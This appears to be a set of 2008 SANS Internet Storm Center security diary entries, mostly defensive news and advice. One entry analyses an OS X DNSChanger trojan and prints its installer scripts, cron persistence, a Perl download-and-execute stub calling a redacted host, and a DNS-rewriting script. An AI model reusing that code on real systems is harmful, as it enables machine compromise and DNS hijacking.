One of our readers, William, wrote in this morning to let us know he has been seeing a lot of REJECTED email traffic.  It appears to be the result of the reactivation of a defunct RBL that is denying all email traffic.

His suggestion for a quick fix of the problem is to remove the "dun.dnsrbl.net" entry from the list of RBL's used for Anti-Spam protection. He reported to us that he was seeing this as wide-spread starting at 01:15 Pacific, 30 November 2008 and was still continually getting reports from across the nation as of 07:55 Pacific, 30 November 2008.

Please contact us and let us know if you have been experiencing issues with this.

Mari Nichols     iMarSolutions

UPDATE:  Thanks to everyone for confirming this issue.  J.R. wrote in to confirm " This is probably because *.dnsrbl.net is now resolving to 127.0.0.1.  Removing this host fixed the issue."  Thanks again to everyone for writing in.

 Well, I just have one Ubuntu running (my other linux are pure Debian and fedora), but I think that this set of updates from Ubuntu deserves attention from all users...

Those are Kernel vulnerabilities, in a range of Local and Remote DoS to privilege escalation.

So, my advice is to check if you can apply the updates right now, otherwise, try to apply as soon as possible.

---------------------------------------------

HOD: Pedro Bueno ( pbueno //&&// isc. sans. org)

 As we all have been observing the last few days, there was an terrorist attack on Mumbai, India. As many other major events, this one caught a lot of media coverage, which opens a door for people who likes to make money on tragedies like this.

Over the last day we saw a spike on domains related to the Mumbai attack (more than 15 new domains).

Most of the domain information is protected (thanks GoDaddy), but accessing the websites, it is not posible to confirm that they will be used by scams, since they are all either with a 'park' message or with some google links (trying to make money).

We will keep our eyes on those domains on the next days to see what are they up to, but we also advice you to pay attention on any domain related to the Mumbai attacks, due request for donations, etc.... Remeber also that several virus take advantage of such events to act...

be vigilant, as always...

-------------------------------------------------

Handler on duty: Pedro Bueno ( pbueno //&&// isc. sans. org )

In Tuesday's blog "More MS08-067 Exploits" Microsoft said that new malware using an ms08-067 exploit "gained momentum and as a result we see an increased support call volume". The article and other writeups related to this particular malware have similar information, some information not contained in each writeup includes;

Symantec W32.Downadup

...."the worm deletes any user-created System Restore points"...

...."the worm attempts to contact the following sites to obtain the current date:

    * http://www.w3.org
    * http://www.ask.com
    * http://www.msn.com
    * http://www.yahoo.com
    * http://www.google.com
    * http://www.baidu.com

It uses the date information to generate a list of domain names.

The worm then contacts these domains in an attempt to download additional files onto the compromised computer".

Microsoft Conflicker.A

"Once a machine has been infected the worm will patch the exploited function via a simple code hook in order to prevent re-infecting a machine it has already compromised".

Other links;

F-Secure Worm:W32/Downadup.A

CA  Win32/Conficker.A

Well I think since today has been a rather "busy" first day on the job I would add one more post.  This one covers a project that is under development at emergingthreats.net, that any IDS people should find very interesting.

http://doc.emergingthreats.net/bin/view/Main/SidReporter

From the above link we can get a good idea what sidreporter does.

SidReporter is the Emerging Threats Data Sharing Tool that allows users to report anonymously their local IDS/IPS event data. In return you will (soon) get an analysis of how your events compare to the whole, what you're missing, what trends are showing globally, and what you can do to tune your rulesets.

All data is reported in a non-source identifiable way using PGP to encrypt in transit. So your data can only be decrypted by you or the Emerging Threats data correlation process.

So why exactly is this so interesting?

A collaborative approach is what the security community is lacking, everyone has their own little views of problems/incidents. There really is no place to go to build a more unified and complex vision of what is going on.  This is more aptly described as resolution, where each company or security group only has a few pixels of an image.  As you begin to stitch together those various groupings of pixels you begin to see the larger picture.

Why should anyone care about collaboration and "visions"?

Good question, you don’t have to care at all. (I have a hunch if you are reading this you are at least interested in these matters)

Why should anyone participate?

Simple, with out aggregating more data (pixels in my horrible example above) we will never have a good idea of what attacks are taking place.  With out that type of knowledge the good guys will continue to fly blind, this of couse assumes that EmergingThreats continues to be open to sharing the data they collect and produce. While that has never been an issue in the past I felt it was worthy of pointing out.  I have very very little doubt that emerging threats will all of a sudden close ranks, in fact the second they do is the second ET (emerging threats) destroys its worth and value.

And now to the data that is being produced today.

http://emergingthreats.net/index.php/sidreporter-statistics.html

It is my understanding that Emerging Threats is still developing this page actively, so the way the data is displayed may change slightly over time. 

John Kuhn Sent in the following links, which are of some interest.
http://forums.t-mobile.com/tmbl/board/message?board.id=Android3&thread.id=19618

http://androidcommunity.com/forums/f7/browser-hijacked-help-8057/

John of course has impeccable timing given my previous diary entry on OS X based dns changers.  Given the lack of solid data to pinpoint the issues that these users are observing we cannot come to any definitive conclusion.  If you have a G1 and have been experiencing these issues feel free to contact us with whatever information you have.  We would be curious to see if this is an infrastructure issue  (dns poisoning comes to mind), some installed application that has a hidden surprise, or previously owned home wifi routers.

Now since information is so spotty at this time, it may be that the users who are seeing this issue may be using wireless routers that were previously owned by zlob variants (see link below).  Unfortunately musing and conjecture really serves us little to no good in determining what is going on right now. Hopefully we will get some firm data on this situation so we can put creativity aside and address what ever is going on.

Brian Krebs article on the topic of ZLob changing home router settings.

http://voices.washingtonpost.com/securityfix/2008/06/malware_silently_alters_wirele_1.html

Well it looks like my first day on duty I have the pleasure of sharing the latest and greatest in OS X DNS hijacking script.  For those long time readers of ISC this topic may sound somewhat familiar, that is because this subject has been covered twice before in some detail. Since this entry is on the long side of things, I will very quickly cover the important part for readers who DO NOT have the time to read all of this.

Quick and dirty:

• OS X based "malware" that requires user interaction to install (e.g. user putting in username/password)
• Consists of various stages of uuencoded shell script and perl to create a crontab entry named "AdobeFlash" (this will most likely change) that will execute every 5 min.
• End effect is a cronjob that downloads and executes as system what ever is passed down to it.  This currently is a payload that swaps DNS servers on a victim machine.
• Current sample uses DNS servers in the following ip range (UkrTeleGroup)  85.255.112.0/20

Things to note:

• The attackers now have a much more structured and formalized C&C mechanism that allows them to download and execute CODE. 
• The infrastructure and code used in this sample can be easily modified and updated, this means the detection mechanisms discussed below may become useless in a short period of time.

How to detect infections:

Snort Signature:

http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/CURRENT_EVENTS/CURRENT_Mac_DNSChanger

OS X command:

/usr/sbin/scutil --dns | grep nameserver

This will spit out your DNS name settings, if these point to any ip OTHER THEN what it should be you are most likely infected.  (for now this IP range is 85.255.112.0 - 85.255.127.255, this of course may change over time) 

Previous entries on this topic

Part One:
http://isc.sans.org/diary.html?storyid=3595

Part Two:
http://isc.sans.org/diary.html?date=2008-04-30
 

Now on to the fun part, what makes this new version so interesting?  Several things, including changes in the structure and code, as well as a more robust mechnism for controlling infections.  That and well I decided that it would be interesting to try and do the analysis on platform that wasnt vulnerable to this strain of malware. 

WINDOWS!

Now that I have enjoyed the moment of complete irony lets move on to the nitty gritty.

This diary entry is more for fun then anything else, with that in mind what we go over here can easily be done in OS X or linux if you know what you are doing. For the "casual" malware analyst windows or linux would be the safest platform to play with. (as I pointed out earlier windows is actually the safest based on the sample I found)

Some background:

The below are a couple of blog postings that cover the malware I am going to go over today. They give a good amount of detail for those who would rather watch from the sidelines.  Major thanks to Methusela Cebrian Ferrer and Jose Nazario for producing such great postings on their blogs.

http://community.ca.com/blogs/securityadvisor/archive/2008/11/23/new-trojans-strike-os-x.aspx

http://asert.arbornetworks.com/2008/11/new-os-x-malcode-not-just-a-dnschanger/


The fun part:

Tools used (feel free to substitute)
7zip  www.7zip.org
UUDECODE from http://www.bastet.com/uue.zip (Source included, ALWAYS CHECK SOURCE)
Transmac Trial (30 day) http://www.asy.com/scrtm.htm
Python 2.6 for windows  http://www.python.org/ftp/python/2.6/python-2.6.msi


Once you have found the sample that you want to work with and have it on your windows VM you can open up the .dmg file using transmac.  There are several ways to extract the contents of the DMG file, I obviously have chosen to use transmac but you may use other tools that convert the dmg into an .iso file.  From there you can either mount the iso directly into your VM by copying it to your host or you can use some other tool.

Once you have access to the contents of the DMG file you can take a look at the preinstall script.  In this case it will look something like this:

#!/bin/sh
if [ $# != 1 ]; then type=0; else type=1; fi && tail -35 $0 | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7000/' | sed 's/gnu/'$type'/' >`uname -p` && sh `uname -p` && rm `uname -p` && exit
begin 777 withlove
M159)3#TB87!P;&5M86,B"G!A=&@](B],:6)R87)Y+TEN=&5R;F5T(%!L=6<M
**REMOVED CONTENTS**
*,$@J"F`*96YD"@``
`
end

As you can see from the above the preinstall (and postinstall) scripts are simply shell scripts.  This will make it rather easy for us to analyze what it will try to do when it is executed.


Now that we have looked at the preinstall script (which as bojan discussed in his previous diary entries on the topic is executed first), we need to decode the mess of text at the bottom of the file.  Since we downloaded UUDECODE.exe from the site above, we have the ability to UUDECODE in windows at a command line, all we need to do is save off a copy of the file that contains only the uuencoded data.  This can be done by mimicing what the shell script does by simply removing the first two lines of text in the preinstall script (this may vary based on samples).   The remaining file should look like this (trimmed data so it would fit), the important parts are to have the begin/end lines of text. *If you are using other tools to uudecode you may need to save the file with a .uue extension*

begin 777 withlove
M159)3#TB87!P;&5M86,B"G!A=&@](B],:6)R87)Y+TEN=&5R;F5T(%!L=6<M
M26YS(@IE>&ES=#U@8W)O;G1A8B`M;'QG<F5P("1%5DE,8`II9B!;("(D97AI
M<W0B(#T]("(B(%T[('1H96X*("`@(&5C:&\@(BH@*B\U("H@*B`J(%PB)'!A
*****SNIPPED CONTENTS*****
M"DTI)C%!/28D3"DF+5`[5RQ,*25<22Y02"DX5E%//%8T2#%$12PQ,D1;(D!$
M*B(V+4@[-EU$*"-@5RTS-$P*32@B,48Z-E%%+E!(*3Q715,])C5-*B(Q1CHV
M444J,TPJ(C!(0"@B8$`H(F!`*"(Q0SPF75,J4U1$-U-,*@HI*")@0"@G5"H_
*,$@J"F`*96YD"@``
`
end

Once you have saved the file as editing you can jump into a command shell and simply execute UUDECODE.exe withlove.uue.  This will then spit out a decoded file with the name withlove.

We can now take a look at the withlove file to see what it does.  It should be noted that based on the preinstall script above, that the contents of the withlove file would have been modified by sed.  So you can simply manually modify the regular expression statements that sed was using.  (change applemac to be AdobeFlash, and change bsd to 7000, etc)  With this sample there really is no need to change these parameters, but with future samples this may become critical to maintain "state" from the attackers perspective.


EVIL="applemac"
path="/Library/Internet Plug-Ins"
exist=`crontab -l|grep $EVIL`
if [ "$exist" == "" ]; then
    echo "* */5 * * * \"$path/$EVIL\" 1>/dev/null 2>&1" > cron.inst
    crontab cron.inst
    rm cron.inst
fi

tail -21 $0 | uudecode -o /dev/stdout | sed 's/7777/bsd/' | sed 's/typeofrun/gnu/' | perl && exit
begin 666 jah
M(R$O=7-R+V)I;B]P97)L"G5S92!)3SHZ4V]C:V5T.PIM>2`D:7`](CDT+C$P
**** SNIPPED CONTENTS *****
)("`@('T*?0H*
`
end


So what this file does is create a cronjob that runs every five minutes that executes a perl script named AdobeFlash located in /Library/Internet Plug-Ins (remember those sed regular expressions!).  Using the steps we used above to save and uudecode the encoded text we can take a look at the contents of "jah" that is at the bottom of the "withlove" file.

Decoded contents
#!/usr/bin/perl
use IO::Socket;
my $ip="XXX.XXX.XXX.XXX",$answer="";
my $runtype=typeofrun;

sub trim($)
{
    my $string = shift;
    $string =~ s/\r//;
    $string =~ s/\n//;
    return $string;
}

my $socket=IO::Socket::INET->new(PeerAddr=>"$ip",PeerPort=>"80",Proto=>"tcp") or return;
print $socket "GET /cgi-bin/generator.pl HTTP/1.0\r\nUser-Agent: "**SNIPPED CONTENT**;$runtype;7777;**SNIPPED CONTENT**;\r\n\r\n";

while(<$socket>){ $answer.=$_;}
close($socket);

my $data=substr($answer,index($answer,"\r\n\r\n")+4);
if($answer=~/Time: (.*)\r\n/)
{
    my $cpos=0,@pos=split(/ /,$1);
    foreach(@pos)
    {
    my $file="/tmp/".$_;
   
        open(FILE,">".$file);
    print FILE substr($data,$cpos,$_);
    close(FILE);
   
    chmod 0755, $file;
    system($file);
   
        $cpos+=$_;
    }
}

Well what we have here is basically a perl based "download a file from here with this User-Agent string, and then execute the results" script.  So lets take a quick look at the perl script. (I AM NOT A PERL GURU!!!)

From a mitigation/alerting side the more interesting parts are the URL/Host/User-Agent (I have modified the User-agent code so it WILL NOT WORK AS IS!) combination that is used to pull down code and execute it.  From a forensic's point of view it is interesting to note that the default location for the file to be downloaded to is /tmp/.  So being a bit curious I wanted to see what the script was pulling down and executing, but since I was working on windows I needed to either have perl (and modify the above script a bit), or I would have to bust out my trusty pal python and write my own script to pull down the file. 

I opted for the python route which produced the following horrible code.

import httplib
import urllib2
import sys

outfilename = sys.argv[1]
outFile = open( outfilename, 'a')

request = urllib2.Request('http://XXX.XXX.XXX.XXX/cgi-bin/generator.pl')
opener = urllib2.build_opener()
request.add_header('User-Agent','**SNIPPED CONTENT**;typeofrun;7777;**SNIPPED CONTENT**;')
data = opener.open(request).read()

outFile.write(data)
print "Wrote file  %s" % outfilename
exit


So once we have the above python code in a file we can execute it via python.exe like follows.

C:\Python26>python "C:\Documents and Settings\**SNIPPED CONTENT**\Desktop\macmalware\ripper.py" outfile.txt
Wrote file  outfile.txt

We can now take a look at outfile.txt to see what is being pulled down and executed.

so a quick more outfile.txt produces the following results

#!/bin/sh
tail -11 $0 | uudecode -o /dev/stdout | sed 's/TEERTS/'`echo ml.pll.oop.vl | tr iopjklbnmv 0123456789`'/' | sed 's/CIGAM/'`echo ml.pll.oop.pin | tr iopjklbnmv 0123456789`'/'| sh && rm $0 && exit
begin 777 mac
M(R$O8FEN+W-H"G!A=&@](B],:6)R87)Y+TEN=&5R;F5T(%!L=6<M26YS(@H*
**SNIPPED CONTENTS**
14TE$+T1.4PIQ=6ET"D5/1@H`
`
end


Well it looks like we are back in familiar territory (did you read those two previous diary entries?) as far as using tr.  Lets decode the contents of "mac" that is appended to the bottom of the file we pulled down.  (again using the UUDECODE.exe)

Contents of mac
#!/bin/sh
path="/Library/Internet Plug-Ins"

VX1="TEERTS"
VX2="CIGAM"

PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //')<< EOF
open
get State:/Network/Global/IPv4
d.show
quit
EOF
)

/usr/sbin/scutil << EOF
open
d.init
d.add ServerAddresses * $VX1 $VX2
set State:/Network/Service/$PSID/DNS
quit
EOF


Well low and behold it would appear that this entire process of various UUENCODED blobs of text all lead to this.  We have a DNS changer that uses scutil's cli interface to modify a OSX machines dns entries.  Please do take note that "TEERTS" and "CIGAM" would be replaced with the results of the tr commands in the shell script that we pulled down. (outfile.txt)  The values of VX1 and VX2 in THIS SAMPLE would be VX1=85.255.112.95 VX2=85.255.112.207,  now takes these DNS servers with a grain of salt, as it is EXTREMELY EASY for the attackers to change these values. They have done this at least 3 times in the last 24 hours, so it may be wise to simply block DNS traffic to 85.255.112.0 - 85.255.127.255 which is the netblock owned an operated by UkrTeleGroup. (The hot new freshness in bad juju)

I would also like to thank reader Steve Lyst for pointing this out and sharing his experience when I was working on this diary entry.


 

As a follow-up to yesterday's diary entry by Mark Hofman...

Whether its the Secure Digital device in your Digital Camera, or the USB Flash Drive that you carry around the office, the convenient and widespread use of Flash Memory Devices also offers a negative element - as an effective method of malicious software propagation.

One senario that recently became a negative experience for a relative of mine involved the use of a "kiosk" based photo printing system at a retail outlet.  After exhausting all methods of trying to understand how her computer became compromised, it quickly became aparent when I discovered an AUTORUN.INF file on her camera's SD card.

All future visits to "kiosks" now involve CD-ROMs containing her pictures for printing.

While some Flash memory devices do offer a convenient Write Protection Switch, I am only aware of two major manufactures of Flash USB devices that offer such a feature.

Do exercise care and caution when handling your Flash Memory Devices this Holiday weekend, and everyday for that matter.

G.N. White
 

To most of you this is no longer news. The DOD issued orders that USB drives and other removable devices are no longer to be used.   Through autorun features and the presence of some nasty malware the decision was made to prohibit the use of the devices in an attempt to contain a malware outbreak. 

There have been a number of examples of this type of thing in the past (remember the digital frames? ) and I must confess removable devices are not my favourite thing, nor should they be yours.   Apart from the malware angle there is also the data leakage angle.  How much information is walking out the door everyday? Yet many organisations take the ostrich approach and ignore the problem as to hard to solve. 

There are quite  a number of commercial products on the market that allow you to control removable devices, audit what is read or written to them, which devices can be used and what content can be taken from them.   The products typically also control other devices such as the wireless on laptops, infrared and bluetooth.  All potential avenues of data leakage. 

Natively there are still somethings you can do such as use group policies to control access to the USB ports.  Epoxy glue also works a treat.  The main thing is to manage the risk.  Accept that the threat exists, determine the potential impact to your organisation and decide what you are going to do about it. 

Let us know what you do to control removable devices.  I'll update the diary at the end of the shift with your suggestions.

Mark - Shearwater

As botnets and other automated tools are hammering at websites trying to exploit SQL injection vulnerabilities, site operators are trying hard at defending their websites.  ASProx and other botnets were hitting hard at the ASP + MS SQL platform, millions of websites fell victims to the SQL injection vulnerabilities already. Although there has been a decline of wild SQL scanning by ASPRox type of botnet, we are still not in the clear yet. The unauthenticated portion of some sites might be secure, but the authenticated portion might be totally vulnerable. Since most scans only target what can be seen by Googlebots, there are still tons of web pages out there vulnerable waiting for exploitation.

If you have tons of vulnerabilities on your site, you likely will take some time to fix all of it as fixing code isn't the easiest and fastest thing to be done. A short term remediation to SQL injection can be web application firewall. Web application firewall (WAF)  is similar to a network firewall except it also inspect the application layer information, such as cookies, form fields and HTTP headers. With Microsoft IIS as web server, one of the quickest and easiest WAF solution maybe Microsoft's Urlscan, it is an addon to IIS5 and built-in for later versions of IIS. Urlscan runs as an ISAPI filter, so it can be easily deployed and removed. Since version 3.0 of Urlscan, there are decent level of coverage on SQL Injection capabilities. The biggest complaint is that Urlscan do not inspect HTTP request body (POST data), so it could be missing attacks that are submitted using POST.

I have recently played with another free WAF product on IIS called Webknight and found it to be easy to config and full of nice features. The default configuration file is reasonably tight. In most cases, you would probably want to loosen things up so Webknight won't break your site with false positives. It inspects SQL injection in header, cookies, URL and in POST data. The detection is based on hitting two of the preset SQL keywords. For most cases, this generally works well. It may render false positives with some more complex textarea field that expect various text. Overall, Webknight is a good WAF that can fulfill basic protection needs.

Remember that WAF products are meant to be an extra layer of defense and/or a very short term mitigation until you fix up all the code. For mitigation, you are really just buying yourself more time before a compromise happens. While WAF do a good job at making the site harder to compromise, they have various limitation, the most effective long term mitigation is still fixing up the code.

-------
Jason Lam, author of SANS web app courses - 319, 422, 538

The oldfashioned way to launch a network DDoS attack involved building one's own bot network that would flood the victim with unwanted traffic. However, the illicit marketplace for such services has matured, allowing a person to purchase DDoS services on demand, effectively renting a botnet for the event.

Here's one ad for such services. It's in Russian; the translation follows.

The ad scrolls through several messages, including:

"Will eliminate competition: high-quality, reliable, anonymous."
"Flooding of stationary and mobile phones."
"Pleasant prices: 24-hours start at $80. Regular clients receive significant discounts."
"Complete paralysis of your competitor/foe."

Perhaps the most interesting aspect of the advertised service is the offer to flood the victim's phones. We often think of network-based DDoS attacks, but phone-based DDoS could be as devastating. If the service can, indeed, target stationary (landline) phones, then we're not just talking about SMS-based floods. These would probably be actual phone calls, probably initiated using VoIP, maybe via stolen Skype accounts with dial-out credits. Anyone knows more about such phone attacks?

-- Lenny

Lenny Zeltser
Security Consulting - SAVVIS, Inc.

Lenny teaches a SANS course on analyzing malware.

The incident handling cheat sheets in an earlier diary applied to many types of security incidents. Some incidents, such as DDoS attacks, can benefit from specialized guidelines. As suggested by one of our readers, we'd like to create a cheat sheet that helps organizations during a DDoS attack. We would love for you to contribute.

If you have handled a DDoS attack, send us your advice on dealing with such incidents faster and more effectively. The tips should assume that the organization is reactive, and has not had much time to prepare for the incident in advance. We're looking for suggestions arelated to all stages of the DDoS incident, including detection, analysis, and mitigation.

We will compile the tips into a cheat sheet if we receive enough of them. (And thanks to those who already sent us their suggestions!)

 -- Lenny

Lenny Zeltser
Security Consulting - SAVVIS, Inc.

Lenny teaches a SANS course on analyzing malware.

In no particular order:

Any suggestions for the lists above? We'd love to hear them. It's probably easier to come up with the items for the "Doomed" column, but consider what we can build upon to tip the scales in the defenders' favor.

 -- Lenny

Lenny Zeltser
Security Consulting - SAVVIS, Inc.

Lenny teaches a SANS course on analyzing malware.

I love the directness of Marcum Ranum's perspective on security awareness training. "If it was going to work, it would have worked by now," he wrote. Indeed, whenever I perform social engineering testing, too many people willingly give up sensitive data, click on a link or launch that fateful attachment.

Maybe the problem with many security awareness programs is that they are borning. Come up with something unusual and personally-relevant to the attendies, and I bet the audience will remember your message. Below are some tips and a video clip.

Select a Different Format

Call your annual security awareness session a "Security Awareness Session," and you're guaranteed to hear sighs and excuses for not being able to attend. How about something in a less standard format? Thinking out loud here:

• Add a security "commerical" interruption to an unrelated meeting or a conference call.
• Create a challenge for people to report unsafe IT practices they observe. Without identifying the offenders, but with prizes.
• Sponsor a bagels and donuts breakfast with a 10-minute data security discussion.
• Create a drawing for a prize. The cost of entry is a tip on improving IT security.

Of course, the format will depend on your corporate culture, but the idea is to take a less ordinary approach to spreading your message.

Make the Message Personally-Relevant

People tend to care about their well-being more than the well-being of their company. To make your message heard, make it useful for your colleagues as individuals, be it in the context of phishing for email credentials, on-line financial fraud, or spyware. By helping them protect their personal data on-line, you will show them how to act when corporate IT assets are threatened.

Example: A Video Clip

How about peaking the employees interest in your program with a short video clip? I found a service called Animoto that will let you upload a bunch of photos, and automatically generate a nice-looking videos from them. (30-second videos are free.)

Here's an example I created using generic photos I found via EveryStockPhoto. For best results, use the photos specific to your company or industry. (For attribution purposes, here's the list of the Creative Commons images I used from Flickr: 1, 2, 3, 4.)

My video clip attempts to entice the audience to sign up for a hypothetical security awareness session. Of course, you can also use a more specific video to spread your particular security awereness message.

For additional tips about security awareness training, see the summary of the diaries we published about a year ago on this topic.

-- Lenny

Lenny Zeltser
Security Consulting - SAVVIS, Inc.

Lenny will be presenting at the SANS D.C. conference in December.

"People only see what they are prepared to see." -- Ralph Waldo Emerson

Maybe your system just got hacked. You don't know for sure yet, but you need to quickly qualify the potential incident. You also need to ask questions to make sense of the situation and determine how to proceed. It's easy to make mistakes in the heat of the moment; it's hard to find time to prepare in advance. Here are two cheat sheets that may help.

In each case, I link to the HTML version cheat sheet. That page includes the printable 1-page PDF version, and the Word version of the file you can edit for your needs.

Security Incident Survey Cheat Sheet for Server Administrators

This cheat sheet captures tips for examining a suspect server to decide whether to escalate for formal incident response. Its steps attempt to minimize the adverse effect that the initial survey will have on the system, to decrease the likelihood that the attacker's footprints will be inadvertently erased.

Initial Security Incident Questionnaire for Responders

This cheat sheet lists the questions the incident handler should consider asking when taking control of a qualified incident. It's too easy to forget an important question when trying to think on your feet.

How Else to Make Incident Response Less Stressful?

Thanks to everyone who already offered feedback on these cheat sheets. If you have suggestions for improving them, please let us know.

For additional tips on incident handling, see the summary of the suggestions we published in October. Yeah, I should have written this diary last month.

 -- Lenny

Lenny Zeltser
Security Consulting - SAVVIS, Inc.

Lenny teaches a SANS course on analyzing malware.

Alot of people, especially those that follow the RSS feed will get an alert when we post a new article.  However, I feel the need to remind you that we go back and update articles as well.  For instance, I just updated the "Plaintext recovery against OpenSSH" article.

So if you are raising the red flag at your office about SSH, you need to keep checking back against the article you are interested in for updates.

It's all about Impact right?  One vulnerability may impact your organization more crucially than the company next to you.  It all depends on the threat assessment of your network.  For instance, MS08-067 might have impacted you greatly, if you had Windows systems.  But what about those networks that do not have Windows systems?

(Yes, all that is open for interpretation, but..)

My point in all that is, keep checking back against the articles that are important to you.  We update them all the time.

-- Joel Esler http://www.joelesler.net

This morning we've received a couple emails and a post in our IRC channel (#dshield on irc.freenode.net) concerning a Plaintext Recovery Attack against OpenSSH.  Specifically version 4.7p1, which is quite old.

From the article:

"If exploited, this attack can potentially allow an attacker to
recover up to 32 bits of plaintext from an arbitrary block of
ciphertext from a connection secured using the SSH protocol in
the standard configuration. If OpenSSH is used in the standard
configuration, then the attacker's success probability for
recovering 32 bits of plaintext is 2^{-18}. A variant of the
attack against OpenSSH in the standard configuration recovers 14
bits of plaintext with probability 2^{-14}. The success probability
of the attack for other implementations of SSH is not known."

Here's a link to the article itself:  here.  So that you may read at your leisure.

Here's a link to OpenSSH's Security Page: here.

The current version of OpenSSH is 5.1, and it's been out since July.  So make sure you are patched by running "ssh -V" on the command line.

I just did it on my OSX Machine and I am running 5.1p1. 

-- Joel Esler http://www.joelesler.net

The folks at Adobe have released a bulletin and update to Adobe AIR that they classify as critical.  It fixes some of the same vulnerabilities announced earlier in Flash player.  Time to update if you are using AIR.  Details related to that CVE number are not yet available at nvd.nist.gov.

We've known for a number of years that IPv6 was coming.  In fact, in some parts of the world, it really is here, but US Government mandates not withstanding, not so much here in the US.  I've played with IPv6 on my home network and I use Teredo to connect out using IPv6, but the real question in the back of my mind is, are the tools that we've grown accustomed to for network/packet analysis in IPv4, ready and up to the task of an IPv6 world.  My question for our readers this afternoon is are the tools you use ready for an IPv6 internet?  Use the contact page to let us know either way.  I'll post a follow-up next weekend and summarize your responses.  In the meantime, CERT has published a nice little post on filtering ICMPv6 using host-based firewalls.

I've mentioned Volatility here before and I use it in my day job doing malware analysis.  The problem is, I know it is capable of doing a lot more than I am currently using it for, but I rarely have the time to sit down and play with it and learn how to use it better.  So, I was very pleased when I noticed that Michael Hale Ligh has written 2 pieces on how to use Volatility to find DLLs that have been stealthily injected into running processes.  The first is Locating Hidden Clampi DLLs and the second is entitled Recovering Coreflood Binaries with Volatility.  Does anyone else out there have any other tools/methods they use for trying to detect and analyze these DLL injections (or even non-stealthy ones)?  Let me know via the contact page and I'll update this story.

A new freeware version of Netwitness' core product, NetWitness Investigator, was made available today.  I was able to get access to it several days ago for a test run.  It looks and feels much like Wireshark, but with a lot more capability.  The only two issues I found with the tool is that the registration process (required) is a bit quirky but eventually works, and you'll see a noticible drop in computer performance while its running.  But considering that this is a sniffer on steroids I suspect that a performance drop is to be expected. 

Here are notes from the NetWitness web site:

Product Features:

• Captures raw packets live from most wired or wireless interfaces
• Imports packets from any open-source, home-grown and commercial packet capture system (e.g. .pcap file import)
• License supports 25 simultaneous 1GB captures - far exceeding data manipulation capabilities of packet tools like Wireshark
• Real-time, patented layer 7 analytics
       – Effectively analyze data starting from application layer entities like users, email, address, files , and actions.
       – Infinite, free-form analysis paths
       – Content starting points
       – Patented port agnostic service identification
• Extensive network and application layer filtering (e.g. MAC, IP, User, Keywords, Etc.)
• IPv6 support
• Full content search, with Regex support
• Exports data in .pcap format
• Bookmarking & history tracking
• Integrated GeoIP for resolving IP addresses to city/county, supporting Google® Earth visualization
• NEW! SSL Decryption (with server certificate)
• NEW! Interactive time charts, and summary view
• NEW! Interactive packet view and decode
• NEW! Hash PCAP on Export
• NEW! Enhanced content views

Minimum system requirements:
NetWitness recommends the following minimum hardware requirements for NetWitness Investigator:

• Windows® XP, 2003 Server, or Vista 32-bit
• Single 2Ghz Intel-based processor(Dual-core recommended)
• 1GB RAM(2GB Recommended)
• 1 Ethernet Port
• Internet Explorer v7+ (IE v6.x may limit some functionality)
• Ample data storage for collected data
• Note: Linux infrastructure available in commercial versions

The fully functional and licensed free version of NetWitness Investigator is at: http://download.netwitness.com.  We are interested in your comments if you've downloaded and tried this software.  Please let us know via our contact form.

Marcus H. Sachs
Director, SANS Internet Storm Center

Our friend, Jeremy Stretch, over at packetlife.net has posted another of his excellent cheat sheets, this one covering 802.1X.  He also has posted a challenge which will give you a chance to test your packet analysis skills.  Check them out.

Recently I was working with an organization whose network had been deeply compromised by a persistent threat agent: they had very little remaining trust in the network. A full rebuild of the network was not financially feasible for this organization, as it would have meant losing much of the unique intellectual property the organization had to offer–truly a scenario that was not acceptable.

Given that a “nuke from high orbit” would not be feasible, we worked on several techniques to identify those hosts which had been compromised.  Note that we did not want to identify internal data being trafficked out per se: while Data Loss Prevention solutions have greatly improved over the last few years, there are hundreds of ways to smuggle a binary piece of data out in a difficult-to-detect form.  Our goal was to detect behavior indicating an active Trojan on a system.

• Initially we worked on increasing situational awareness. While in our case this did include costly measures such as implementing intrusion detection systems, situational awareness can also be significantly improved by small configuration changes, such as configuring BIND to log all DNS queries, storing netflows and extending firewalls to log accepted connections;

   
• In order to detect variants of existing, known, Trojans, we deployed an IDS on the perimeter, and installed the virus-rules from EmergingThreats. Matt Jonkman’s team regularly publishes updated signatures for known Command and Control channels. If setting up such system sounds like a bit of work, have a look at BotHunter;

   
• We started sniffing all DNS requests from hosts on the internal network, and then applied several heuristics on the resulting DNS data:
  • DNS responses which had a low to very low TTL (time to live) value, which is somewhat unusual;
  • DNS responses which contained a domain that belonged to one of a long list of dynamic DNS providers;
  • DNS queries which were issued more frequently by the client than would be expected given the TTL for that hostname;
  • DNS requests for a hostname outside of the local namespace which were responded to with a resource record pointing to an IP address within either 127.0.0.0/8, 0.0.0.0/32, RFC1918 IP space, or anywhere inside the public or private IP space of the organization;
  • Consecutive DNS responses for a single unique hostname which contained only a single resource record, but which changed more than twice every 24 hours.
     
• Anomaly detection of network traffic can be a very powerful tool in detecting command & control channels. Unfortunately, to be most effective the baselining (defining what is “good” about the network) should take place before the first compromise. However, some forms of anomaly detection still add tremendous value:
  
  • We wrote a quick set of signatures to ensure that each TCP session on port 80 and 443 consisted of valid HTTP or SSL traffic, respectively. You can also do this using a tool such as FlowGrep, or by reviewing your proxy logs for failures. This would be a useful exercise in general for all traffic that is not relayed through an application proxy, and is not blocked from direct access to internet resources.

  • Persistent connections to HTTP servers on the internet, even outside regular office hours, can be normal: just think of software update mechanisms. However, they should be exceptions, not the rule, so these valid exceptions can be filtered out, making this a potent mechanism to identify compromises. Is the attacker operating from the same time zone as your organization?
  • Persistent requests for the same file on a remote web server, but using a different parameter can indicate data smuggling over HTTP.

We also took some action on the host based front. A shortlist was created of anti virus vendors that were successful on so-called “proactive detection tests” (such as the AV-Comparatives one), where month old signature sets are tested against today’s malware. We licensed the software appropriately and created a live-cd that ran each solution sequentially across all local hard drives. This CD was distributed to the offices and ran on a large sample of systems over a weekend. 

Upon completing the scan, the CD logged into a central FTP server and stored all suspicious binaries on this share. Each of the samples was afterwards analyzed in depth, and if found malicious, detection logic was created and deployed onto the various network based detection mechanisms.

On a set of critical systems, we deployed a logon policy which ran Sysinternals’ RootkitRevealer and stored its report on a remote network share. Once these reports were verified and we had some assurance that the file system API was not hooked to hide specific files, we ran a copy of Mandiant’s Red Curtain on the system to identify suspicious binaries. These were once again hooked into the analysis process above.

